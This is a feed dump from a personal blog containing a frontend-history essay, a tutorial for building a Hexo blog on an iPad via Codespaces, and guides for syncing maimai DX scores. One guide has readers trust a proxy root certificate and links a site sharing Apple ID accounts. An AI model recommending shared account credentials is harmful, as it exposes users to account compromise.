&lt;p&gt;For blogs, docs and marketing pages, the content doesn&apos;t change once in a blue moon — why compute it again on every request?&lt;br /&gt;
Gatsby and Next.js popularized SSG&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Build time&lt;/strong&gt;: on the developer&apos;s computer, React compiles 1,000 blog posts into 1,000 &lt;code&gt;.html&lt;/code&gt; files&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Distribution&lt;/strong&gt;: toss them onto a CDN&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Access&lt;/strong&gt;: when a user visits, they fetch a static file from the nearest CDN node. &lt;strong&gt;That&apos;s the fastest speed the laws of physics allow&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We went full circle back to Web 1.0&apos;s static file model — but the things producing those files are Web 4.0&apos;s automated pipelines&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;12. Hydration and the art of deception&lt;/h2&gt;
&lt;h3&gt;12.1 The uncanny valley effect&lt;/h3&gt;
&lt;p&gt;SSR and SSG brought a new problem: &lt;strong&gt;&quot;watering&quot;&lt;/strong&gt;&lt;br /&gt;
When the server returns HTML, the page looks finished, and the buttons are right there&lt;br /&gt;
The user impatiently clicks a button: &lt;strong&gt;nothing happens&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Why? Because the JS hasn&apos;t finished downloading and the event listeners haven&apos;t been attached yet.&lt;br /&gt;
This period is called the &lt;strong&gt;uncanny valley&lt;/strong&gt;. The user thinks it&apos;s alive, but it&apos;s actually dead&lt;/p&gt;
&lt;p&gt;This is modern frontend&apos;s biggest pain point: &lt;strong&gt;to let users see content sooner, we not only send HTML, we have to send an identical copy of JS to activate it. The data goes over twice&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;12.2 Island architecture&lt;/h3&gt;
&lt;p&gt;In 2021, &lt;strong&gt;Astro&lt;/strong&gt; asked a soul-searching question:&lt;br /&gt;
&lt;strong&gt;My blog posts are static — why am I loading the React library to render them?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Astro&apos;s answer was &lt;strong&gt;0 JS&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The whole page is pure HTML&lt;/li&gt;
&lt;li&gt;Only the comment section component and the like button are React components&lt;/li&gt;
&lt;li&gt;The browser only loads the JS for those two little islands&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This was a &lt;strong&gt;rebellion&lt;/strong&gt; against the React suite. It marked frontend&apos;s turn toward &lt;strong&gt;fine-grained&lt;/strong&gt; loading. We no longer stuff an elephant into the fridge; we just put in a few bananas&lt;/p&gt;
&lt;p&gt;&lt;em&gt;This is also one of the reasons I personally like Astro so much&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;12.3 Edge computing&lt;/h3&gt;
&lt;p&gt;Today&apos;s backend is no longer just a server in a data center, but Edge Functions spread across the globe&lt;br /&gt;
&lt;strong&gt;Vercel / Cloudflare Workers&lt;/strong&gt; let frontend engineers write a piece of JS and deploy it to 200 cities worldwide&lt;/p&gt;
&lt;p&gt;The user&apos;s request is routed to the nearest node, where a tiny V8 environment is waiting for it&lt;br /&gt;
The boundaries of the frontend engineer have extended to the very edge of the network&lt;/p&gt;
&lt;h2&gt;13. The dimensional strike on toolchains&lt;/h2&gt;
&lt;h3&gt;13.1 Vite blitzes frontend&lt;/h3&gt;
&lt;p&gt;In 2020, Evan You (him again) released &lt;strong&gt;Vite&lt;/strong&gt;&lt;br /&gt;
Webpack&apos;s pain point at the time: starting the dev server for a large project meant waiting 30 seconds or even a minute, because Webpack had to bundle every file&lt;/p&gt;
&lt;p&gt;Vite: &lt;strong&gt;browsers support &lt;code&gt;import&lt;/code&gt; now — why bundle at all?&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;No-Bundle development&lt;/strong&gt;: Vite does almost nothing at startup. It compiles whichever file you request. Startup time: &lt;strong&gt;300ms&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;This huge difference in experience let Vite devour Webpack&apos;s market share like a virus&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;13.2 The invasion of Rust and Go&lt;/h3&gt;
&lt;p&gt;Vite is built on &lt;strong&gt;esbuild&lt;/strong&gt; (written in &lt;strong&gt;Go&lt;/strong&gt;)&lt;br /&gt;
Next.js is built on &lt;strong&gt;SWC / Turbopack&lt;/strong&gt; (written in &lt;strong&gt;Rust&lt;/strong&gt;)&lt;/p&gt;
&lt;p&gt;Frontend toolchains are undergoing a &lt;strong&gt;dimensional strike&lt;/strong&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Before: compilers for JS written in JS (Babel, Terser). Slow, single-threaded&lt;/li&gt;
&lt;li&gt;Now: compilers for JS written in systems languages (Rust/Go). Fast, multicore parallel&lt;/li&gt;
&lt;li&gt;Result: build speed improved by 10x to 100x&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This marks a massive raise in the bar for frontend infrastructure. Before, knowing JS was enough to build a wheel; now you need to understand Rust and memory management&lt;/p&gt;
&lt;h3&gt;13.3 The atomization of CSS: Tailwind CSS&lt;/h3&gt;
&lt;p&gt;In the styling world, a war of taste and bad taste has ended. &lt;strong&gt;Tailwind CSS&lt;/strong&gt; won&lt;/p&gt;
&lt;p&gt;It looks a lot like inline styles from 1999: &lt;code&gt;&amp;lt;div class=&quot;flex items-center justify-between p-4 bg-blue-500&quot;&amp;gt;&lt;/code&gt;&lt;br /&gt;
Many people found it &lt;strong&gt;hideous&lt;/strong&gt; at first sight&lt;br /&gt;
But after a while it feels amazing:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;No class names to invent&lt;/strong&gt;: no more agonizing over names like &lt;code&gt;container-inner-wrapper&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No dead code&lt;/strong&gt;: the CSS file no longer grows without limit&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Design system&lt;/strong&gt;: colors and spacing are all standardized&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It changed frontend&apos;s &lt;strong&gt;muscle memory&lt;/strong&gt; for writing styles&lt;/p&gt;
&lt;h2&gt;14. Frontend is dead, long live frontend&lt;/h2&gt;
&lt;h3&gt;14.1 The return of full-stack&lt;/h3&gt;
&lt;p&gt;React introduced &lt;strong&gt;RSC&lt;/strong&gt;&lt;br /&gt;
You can write SQL to query the database directly in a React component:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// This runs on Server
async function UserList() {
  const users = await db.query(&apos;SELECT * FROM users&apos;);
  return &amp;lt;div&amp;gt;{users.map(u =&amp;gt; &amp;lt;p&amp;gt;{u.name}&amp;lt;/p&amp;gt;)}&amp;lt;/div&amp;gt;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The boundary between frontend and backend has blurred completely (though this also gave rise to even more outrageous problems&lt;br /&gt;
Frontend engineers are no longer slicers, nor API consumers&lt;br /&gt;
We&apos;re becoming product engineers. One person can build a complete, high-performance application&lt;/p&gt;
&lt;h3&gt;14.2 AI&lt;/h3&gt;
&lt;p&gt;In 2023, ChatGPT and other companies&apos; LLMs arrived.
Write a centered layout? Write a regex validation? Write a complex reducer?&lt;br /&gt;
AI generates it in a second&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Has the bar for frontend development gone down or up?&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The bar for &lt;strong&gt;low-level code&lt;/strong&gt; has disappeared. AI writes it faster than you, and these are exactly the people AI replaces&lt;/li&gt;
&lt;li&gt;The bar for &lt;strong&gt;system architecture&lt;/strong&gt; has gone up. You need to understand SSR, hydration, databases, security and all sorts of other things to direct AI in assembling a good product&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;14.3 The next thirty years&lt;/h3&gt;
&lt;p&gt;Looking back over these thirty years:&lt;br /&gt;
From &lt;code&gt;&amp;lt;table&amp;gt;&lt;/code&gt; layouts in 1990 to Rust-compiler-driven Edge SSR in 2025&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We once moved everything into the browser for &lt;strong&gt;movement&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Now we move everything back to the server for &lt;strong&gt;speed&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;History is not a simple circle but a tower spiraling upward&lt;/strong&gt;&lt;br /&gt;
We&apos;ve returned to the server, but we brought back componentization, declarative programming and an extreme engineering system&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Web is still young&lt;/strong&gt;&lt;br /&gt;
As long as humans still need to interact with the digital world through screens, the mission of the frontend engineer will never end&lt;/p&gt;
&lt;h2&gt;15. Conclusion&lt;/h2&gt;
&lt;p&gt;And so we&apos;ve run through the Romance of the Three Kingdoms that belongs to frontend&lt;br /&gt;
We started with Tim Berners-Lee&apos;s scratch paper and came all the way to today&lt;br /&gt;
This is the story of countless developers fighting the browser, compromising with it, and finally taming it&lt;/p&gt;
&lt;p&gt;And we&apos;ve also come to understand:&lt;br /&gt;
Why do we have to learn so many messy tools?&lt;br /&gt;
Because we took a pile of paper originally meant for wiping your ass, and through decades of stacking buffs, forcibly built a skyscraper out of it&lt;/p&gt;
</content:encoded><category>开发</category><author>Chongxi</author></item><item><title>Building a Hexo Blog from Scratch Using Only an iPad</title><link>https://xice.cx/en/posts/hexoInCodespace/</link><guid isPermaLink="true">https://xice.cx/en/posts/hexoInCodespace/</guid><description>From iPad to live: a complete guide to building a Hexo blog with GitHub Codespaces in 7 days.</description><pubDate>Mon, 02 Feb 2026 08:13:21 GMT</pubDate><content:encoded>&lt;h2&gt;0. Introduction&lt;/h2&gt;
&lt;p&gt;Thanks to the development of web technology, mobile devices can now be mentioned in the same breath as productivity. This article will show you how to build a Hexo blog from scratch on codespaces using only an iPad&lt;/p&gt;
&lt;h3&gt;0.1 Gathering the ingredients&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;An iPad with a good network connection&lt;/li&gt;
&lt;li&gt;A GitHub account&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;0.2 What is a codespace&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/features/codespaces&quot;&gt;GitHub Codespaces&lt;/a&gt; is a cloud-based development environment provided by GitHub that lets you use a full VS Code experience directly in the browser, without installing any development tools locally. This means we can do development work in any environment that has internet access and a browser, without depending on local physical devices — very well suited to mobile devices like the iPad&lt;/p&gt;
&lt;h2&gt;1. Basic setup&lt;/h2&gt;
&lt;h3&gt;1.1 Log in to GitHub and create a repo&lt;/h3&gt;
&lt;p&gt;Open &lt;a href=&quot;https://github.com&quot;&gt;GitHub&lt;/a&gt;, log in to your account, click the + in the top-right corner, and select &lt;strong&gt;New repository&lt;/strong&gt;. Fill in the repository name (e.g. hexo-blog); it&apos;s recommended to choose private for the type, tick &lt;strong&gt;add a README file&lt;/strong&gt;, and click &lt;strong&gt;Create repository&lt;/strong&gt; to finish creating it.&lt;/p&gt;
&lt;h3&gt;1.2 Create a Codespace&lt;/h3&gt;
&lt;p&gt;On the page of the repo you just created, click the &lt;strong&gt;Code&lt;/strong&gt; button, select the &lt;strong&gt;Codespaces&lt;/strong&gt; tab, and click &lt;strong&gt;Create codespace on main&lt;/strong&gt;; wait for the codespace to finish creating. VS Code will then open in the browser, and we can do the blog setup on this page.&lt;/p&gt;
&lt;h3&gt;1.3 Install Hexo&lt;/h3&gt;
&lt;p&gt;In the codespace terminal, enter the following command to install pnpm:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npm install -g pnpm
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./asset/IMG_2742.webp&quot; alt=&quot;Install pnpm&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then install Hexo:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pnpm install hexo-cli
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.4 Initialise Hexo&lt;/h3&gt;
&lt;p&gt;In the terminal, enter the following command to initialise Hexo:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pnpm dlx hexo init tmp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since hexo is created in the subdirectory tmp, we need to enter that directory and move the initialisation output out&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd tmp
mv * .[^.]* ..
cd ..
rm -rf tmp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That successfully moves the temporary tmp directory&apos;s contents out&lt;/p&gt;
&lt;p&gt;By default pnpm doesn&apos;t allow scripts, so we need the following command to allow builds&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pnpm approve-builds
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./asset/IMG_2744.webp&quot; alt=&quot;Allow pnpm build scripts&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After entering it, command-line options appear; we input &lt;strong&gt;a&lt;/strong&gt;, then input &lt;strong&gt;y&lt;/strong&gt; and press Enter to allow all script builds, and the rest of the build completes automatically&lt;/p&gt;
&lt;h3&gt;1.5 Start hexo&lt;/h3&gt;
&lt;p&gt;In the terminal, enter the following command to start hexo:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pnpm hexo s
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The dev server then starts automatically. Click &lt;strong&gt;在浏览器中打开&lt;/strong&gt; and you can preview the hexo blog in a new tab; press ctrl+c to stop the server
&lt;img src=&quot;./asset/IMG_2745.webp&quot; alt=&quot;Start the hexo dev server&quot; /&gt;
&lt;img src=&quot;./asset/IMG_2746.webp&quot; alt=&quot;Preview the hexo blog&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;1.6 Make the initial commit&lt;/h3&gt;
&lt;p&gt;Open the terminal and enter the following commands to make the initial commit:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git add .
git commit -m &quot;Initial commit&quot;  
git push -u origin
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./asset/IMG_2747.webp&quot; alt=&quot;Initial commit&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Later commits can also be pushed via the Source Control icon on the left&lt;/p&gt;
&lt;p&gt;:::tip
Why commit?&lt;br /&gt;
In codespaces, it&apos;s roughly equivalent to a temporary environment; committing is like hitting save once, and that save is recorded in git history, so you can view/roll back at any time
:::&lt;/p&gt;
&lt;h2&gt;2. Using hexo&lt;/h2&gt;
&lt;h3&gt;2.1 Creating a new blog post&lt;/h3&gt;
&lt;p&gt;In the terminal, enter the following command to create a new blog post:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pnpm hexo new &quot;文章标题&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A new markdown file is then generated under the &lt;code&gt;source/_posts&lt;/code&gt; directory; open this file and edit it&lt;/p&gt;
&lt;h3&gt;2.2 Changing the theme&lt;/h3&gt;
&lt;p&gt;You can choose a theme you like from hexo&apos;s &lt;a href=&quot;https://hexo.io/themes/&quot;&gt;theme gallery&lt;/a&gt; and install and configure it following the theme&apos;s installation instructions. Here&apos;s the hexo redefine theme as an example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git submodule add https://github.com/EvanNotFound/hexo-theme-redefine themes/redefine
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then open &lt;code&gt;_config.yml&lt;/code&gt;, find the &lt;code&gt;theme&lt;/code&gt; field, change it to &lt;code&gt;redefine&lt;/code&gt;, and save&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/IMG_2749.webp&quot; alt=&quot;Install the redefine theme&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;2.3 Configuration&lt;/h3&gt;
&lt;p&gt;Open &lt;code&gt;_config.yml&lt;/code&gt;; the most basic information can be defined here, such as the site title, description and author info — modify it as you need. Theme configuration generally needs to be configured separately; please refer to the README of the theme you&apos;re using&lt;/p&gt;
&lt;h2&gt;3. Deploying to cloudflare pages&lt;/h2&gt;
&lt;p&gt;Why choose cloudflare?&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloudflare.com/&quot;&gt;Cloudflare&lt;/a&gt; is a company that provides network security and content delivery network (CDN) services. Its main functions include protecting websites from DDoS attacks, speeding up website loading, providing SSL certificates and optimising website performance. Through its globally distributed server network, Cloudflare can efficiently cache and distribute content, thereby improving the speed and security with which users access the site.&lt;/p&gt;
&lt;p&gt;And cloudflare pages is the static website hosting service Cloudflare provides, supporting deployment directly from a GitHub repository and publishing to the global CDN, at no cost — very well suited to a personal blog
&lt;img src=&quot;./asset/IMG_2751.webp&quot; alt=&quot;cloudflare&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;3.1 Log in to the cloudflare dashboard&lt;/h3&gt;
&lt;p&gt;Open &lt;a href=&quot;https://dash.cloudflare.com/&quot;&gt;Cloudflare Dashboard&lt;/a&gt;, log in to your account, open the left panel, click &lt;strong&gt;计算和AI&lt;/strong&gt;, click to create a new application, choose to deploy from a git repository, and select the hexo-blog repository you just created&lt;/p&gt;
&lt;h3&gt;3.2 Build configuration&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Framework preset: (leave blank)&lt;/li&gt;
&lt;li&gt;Build command: &lt;code&gt;pnpm hexo generate&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Output directory: &lt;code&gt;public&lt;/code&gt;
&lt;img src=&quot;./asset/IMG_2752.webp&quot; alt=&quot;cloudflare pages configuration&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Click &lt;strong&gt;保存并部署站点&lt;/strong&gt;, wait a moment and the deployment is done
&lt;img src=&quot;./asset/IMG_2753.webp&quot; alt=&quot;cloudflare pages deployment&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;3.3 Accessing the site&lt;/h3&gt;
&lt;p&gt;cloudflare gives you a dev domain by default; you can also bind your own domain via CNAME
&lt;img src=&quot;./asset/IMG_2754.webp&quot; alt=&quot;cloudflare pages access&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;4. Conclusion&lt;/h2&gt;
&lt;p&gt;With that, we&apos;ve built a hexo blog using only an iPad. I have to say, codespace really does offer a way out for mobile productivity. I hope this article helps you, and let me also leave a pit for future articles while I&apos;m at it — if you&apos;d like to see it, I could later do a dedicated vertical comparison of various blog frameworks&lt;/p&gt;
</content:encoded><category>博客</category><category>开发</category><author>Chongxi</author></item><item><title>A Tutorial for the bakapiano Score Tracker (maimai Score Hub)</title><link>https://xice.cx/en/posts/bakapiano/</link><guid isPermaLink="true">https://xice.cx/en/posts/bakapiano/</guid><description>maimai Score Hub: a non-invasive score tracker built on the friend feature, with import support for 水鱼/落雪</description><pubDate>Tue, 27 Jan 2026 16:04:01 GMT</pubDate><content:encoded>&lt;h2&gt;0. Introduction&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://maimai.bakapiano.com/app&quot;&gt;maimai Score Hub&lt;/a&gt; is a web-based score tracker provided by &lt;strong&gt;GitHub@bakapiano&lt;/strong&gt;. Unlike most trackers, which sync scores through a proxy or by hacking, this one pulls scores using maimai&apos;s friend feature — currently perhaps the most convenient non-invasive sync import — and it also supports importing from 水鱼/落雪&lt;/p&gt;
&lt;p&gt;Official site: &lt;a href=&quot;https://maimai.bakapiano.com/app&quot;&gt;maimai Score Hub&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;1. Tutorial&lt;/h2&gt;
&lt;h3&gt;1.1 Registration&lt;/h3&gt;
&lt;p&gt;This tracker registers using your friend code&lt;/p&gt;
&lt;p&gt;Open the &lt;em&gt;舞萌|中二&lt;/em&gt; WeChat official account, open maimaiNET, tap &lt;strong&gt;好友&lt;/strong&gt;, then &lt;strong&gt;你的好友代码&lt;/strong&gt;, and copy that string of digits and paste it into the tracker to log in. The web page will ask you to accept a friend request; accept it in the official account.&lt;/p&gt;
&lt;h3&gt;1.2 Importing scores&lt;/h3&gt;
&lt;p&gt;Just tap &lt;strong&gt;更新数据&lt;/strong&gt; on the tracker&apos;s home page and accept the friend request in the official account&lt;/p&gt;
&lt;h3&gt;1.3 Syncing to the 水鱼 score tracker&lt;/h3&gt;
&lt;p&gt;Open the &lt;a href=&quot;https://www.diving-fish.com/maimaidx/prober/&quot;&gt;水鱼查分器&lt;/a&gt;, tap &lt;strong&gt;编辑个人资料&lt;/strong&gt;, copy the &lt;strong&gt;成绩导入token&lt;/strong&gt; and paste it into the 水鱼 token field in &lt;strong&gt;maimai Score Hub&lt;/strong&gt;, then hit update&lt;/p&gt;
&lt;h3&gt;1.4 Syncing to the 落雪 score tracker&lt;/h3&gt;
&lt;p&gt;Open the &lt;a href=&quot;https://maimai.lxns.net/user/profile?tab=thirdparty&quot;&gt;落雪咖啡屋&lt;/a&gt;, tap &lt;strong&gt;复制个人API密钥&lt;/strong&gt; below, fill it into the 落雪 token field in &lt;strong&gt;maimai Score Hub&lt;/strong&gt;, then hit update&lt;/p&gt;
&lt;p&gt;:::tip
The 落雪 tracker needs &lt;strong&gt;允许写入任何数据&lt;/strong&gt; enabled in &lt;strong&gt;账号设置&lt;/strong&gt; before syncing is possible
:::&lt;/p&gt;
&lt;h3&gt;1.5 Checking scores&lt;/h3&gt;
&lt;p&gt;Open &lt;strong&gt;乐曲成绩&lt;/strong&gt; in the sidebar&lt;/p&gt;
&lt;h2&gt;2. Appendix&lt;/h2&gt;
&lt;p&gt;If you know of more simple score-tracking solutions that don&apos;t require logging into an account, feel free to share them; this blog will be updated accordingly&lt;/p&gt;
</content:encoded><category>maimai</category><category>游戏</category><author>Chongxi</author></item><item><title>This Site Is Now on Afdian</title><link>https://xice.cx/en/posts/afd/</link><guid isPermaLink="true">https://xice.cx/en/posts/afd/</guid><description>The site now has an Afdian page.</description><pubDate>Mon, 26 Jan 2026 13:48:22 GMT</pubDate><content:encoded>&lt;h2&gt;Afdian Page&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://afdian.com/a/CEPATO&quot;&gt;CEPATO&lt;/a&gt;
&lt;img src=&quot;./asset/1.webp&quot; alt=&quot;CEPATO&quot; /&gt;&lt;/p&gt;
</content:encoded><category>博客</category><author>Chongxi</author></item><item><title>A Guide to Uploading and Syncing maimai DX Scores with the Shuiyu and LXNS Trackers</title><link>https://xice.cx/en/posts/maiTool260124/</link><guid isPermaLink="true">https://xice.cx/en/posts/maiTool260124/</guid><description>A maimai DX v1.53 score tracker sync guide: how to configure the Shuiyu and LXNS trackers</description><pubDate>Sat, 24 Jan 2026 15:31:12 GMT</pubDate><content:encoded>&lt;h2&gt;0. Introduction&lt;/h2&gt;
&lt;p&gt;Because the maimai DX 1.53 update changed a large number of API checks, many existing sync implementations stopped working, and handing your QR code to someone else to sync isn&apos;t exactly safe either — hence this article&lt;/p&gt;
&lt;p&gt;Related posts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;/en/posts/3/&quot;&gt;A Quick Look at the maimai CN 1.53 Patch Update&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/en/posts/backup/&quot;&gt;How to Back Up maimai DX Scores with the Shuiyu and LXNS Trackers&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/en/posts/bakapiano/&quot;&gt;bakapiano Score Tracker Guide&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Contents&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;./posts/2026/01/24/maiTool260124/#1-%E6%B0%B4%E9%B1%BC%E6%9F%A5%E5%88%86%E5%99%A8&quot;&gt;Shuiyu Score Tracker&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;./posts/2026/01/24/maiTool260124/#2-%E8%90%BD%E9%9B%AA%E6%9F%A5%E5%88%86%E5%99%A8&quot;&gt;LXNS Score Tracker&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;1. Shuiyu Score Tracker&lt;/h2&gt;
&lt;p&gt;The Shuiyu tracker is a bit more troublesome than LXNS (if you&apos;re not providing a QR code)&lt;/p&gt;
&lt;p&gt;Prerequisite: a Shuiyu account&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.diving-fish.com/&quot;&gt;Shuiyu Score Tracker official site&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;1.1 Proxy sync on Windows/MacOS&lt;/h3&gt;
&lt;p&gt;Refer to Shuiyu&apos;s official doc: &lt;a href=&quot;https://www.diving-fish.com/maimaidx/docs/docs/update-records/proxy&quot;&gt;Importing into proxy software&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;1.2 Proxy sync on iOS/iPad&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Make sure the Shadowrocket App is installed
:::warning
This app requires a non-mainland Apple ID to buy/download. I recommend logging into the AppStore with a shared account (&lt;strong&gt;not iCloud!!! otherwise your device will be locked!!!&lt;/strong&gt;) and downloading it. Here&apos;s an &lt;a href=&quot;https://id.bocchi2b.top/&quot;&gt;account sharing site&lt;/a&gt;,&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;em&gt;This site is not owned by CEPATO &amp;amp; Chongxi; we are not responsible for its content. You can also provide other shared accounts in the comment section at the bottom&lt;/em&gt;
:::
2. Open Shadowrocket, select &lt;code&gt;配置&lt;/code&gt;, and install the certificate by following the steps in the screenshots below&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/1.webp&quot; alt=&quot;install1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/2.webp&quot; alt=&quot;install2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/3.webp&quot; alt=&quot;install3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/4.webp&quot; alt=&quot;install4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/5.webp&quot; alt=&quot;install5&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Open Settings and follow the steps to trust the certificate&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./asset/6.webp&quot; alt=&quot;install6&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/7.webp&quot; alt=&quot;install7&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/9.webp&quot; alt=&quot;install9&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/10.webp&quot; alt=&quot;install10&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/11.webp&quot; alt=&quot;install11&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Open the Shuiyu Score Tracker official site, tap the &lt;strong&gt;rocket&lt;/strong&gt; icon, copy the module URL, and import it by following the steps below&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./asset/12.webp&quot; alt=&quot;mo1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/13.webp&quot; alt=&quot;mo2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/14.webp&quot; alt=&quot;mp3&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Start the proxy&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./asset/15.webp&quot; alt=&quot;mo4&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Open the maimai NET official account and load songs in the order of the arrows to complete the sync&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./asset/16.webp&quot; alt=&quot;mo5&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;1.3 Syncing from LXNS to Shuiyu with union&lt;/h3&gt;
&lt;p&gt;A rather abstract solution, but it does save the day in a roundabout way&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Have both a Shuiyu and an LXNS account, with the LXNS account already synced&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Log in to the &lt;a href=&quot;https://union.godserver.cn/&quot;&gt;union&lt;/a&gt; site&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;In the top-right menu, select the &lt;code&gt;用户&lt;/code&gt; option and fill in your &lt;strong&gt;LXNS tracker token&lt;/strong&gt; and &lt;strong&gt;Shuiyu account&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;You can get the LXNS tracker key under &lt;code&gt;账号详情&lt;/code&gt; &amp;gt; &lt;code&gt;个人API密钥&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/17.webp&quot; alt=&quot;union1&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;In the top-right menu, select the &lt;code&gt;工具&lt;/code&gt; option, click &lt;strong&gt;更新成绩&lt;/strong&gt;, and choose &lt;strong&gt;落雪传水鱼&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./asset/18.webp&quot; alt=&quot;union2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;If that&apos;s the case, why not just use LXNS&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;1.4 Uploading with a bot that uses tech features&lt;/h3&gt;
